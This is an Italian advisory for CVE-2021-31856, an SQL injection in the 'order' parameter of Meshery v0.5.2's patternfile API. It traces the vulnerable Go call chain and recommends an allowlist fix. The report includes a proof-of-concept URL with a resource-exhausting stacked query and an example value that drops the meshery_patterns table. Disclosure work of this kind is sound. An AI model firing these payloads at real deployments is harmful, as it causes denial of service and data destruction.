
Report dettagliato di CVE-2021-31856 con PoC e analisi del codice per una vulnerabilità di SQL injection nell'API dei file pattern di Meshery, che consente l'estrazione di dati non autenticata.
| elemento | dettagli | nota |
|---|---|---|
| progetto | https://github.com/layer5io/meshery | |
| data dell'annuncio | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Versione vulnerabile | v0.5.2 | \ |
| Versione corretta | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Autore | https://github.com/ssst0n3 |
La funzione GetMesheryPatterns() in meshery/models/meshery_pattern_persister.go presenta una vulnerabilità di SQL Injection tramite il parametro order di /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
Il tuo browser non supporta il video HTML5. Ecco un link al video in alternativa.
Il parametro order nella funzione GetMesheryPatterns è un'istanza di stringa. Verrà aggiunto direttamente all'istruzione della query quando si utilizza gorm, e l'istruzione SQL viene eseguita da Find().
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Se il parametro order proviene dall'input dell'utente senza alcun filtro, esiste una vulnerabilità di SQL injection.
Seguendo il processo di chiamata, possiamo notare che il parametro "order" proviene direttamente dalla query.
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Se eseguiamo il debug, possiamo scoprire che l'istruzione della query è:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
se impostiamo order=id;drop table meshery_patterns, l'istruzione diventerà
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
e la tabella verrà eliminata.
La catena di chiamata completa è:
https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Impostare un'allowlist per il parametro order invece di utilizzare parametri provenienti dall'input dell'utente senza alcun filtro.
https://github.com/layer5io/meshery/pull/2745
Puoi trovare alcuni riferimenti nella documentazione di gorm: https://gorm.io/docs/security.html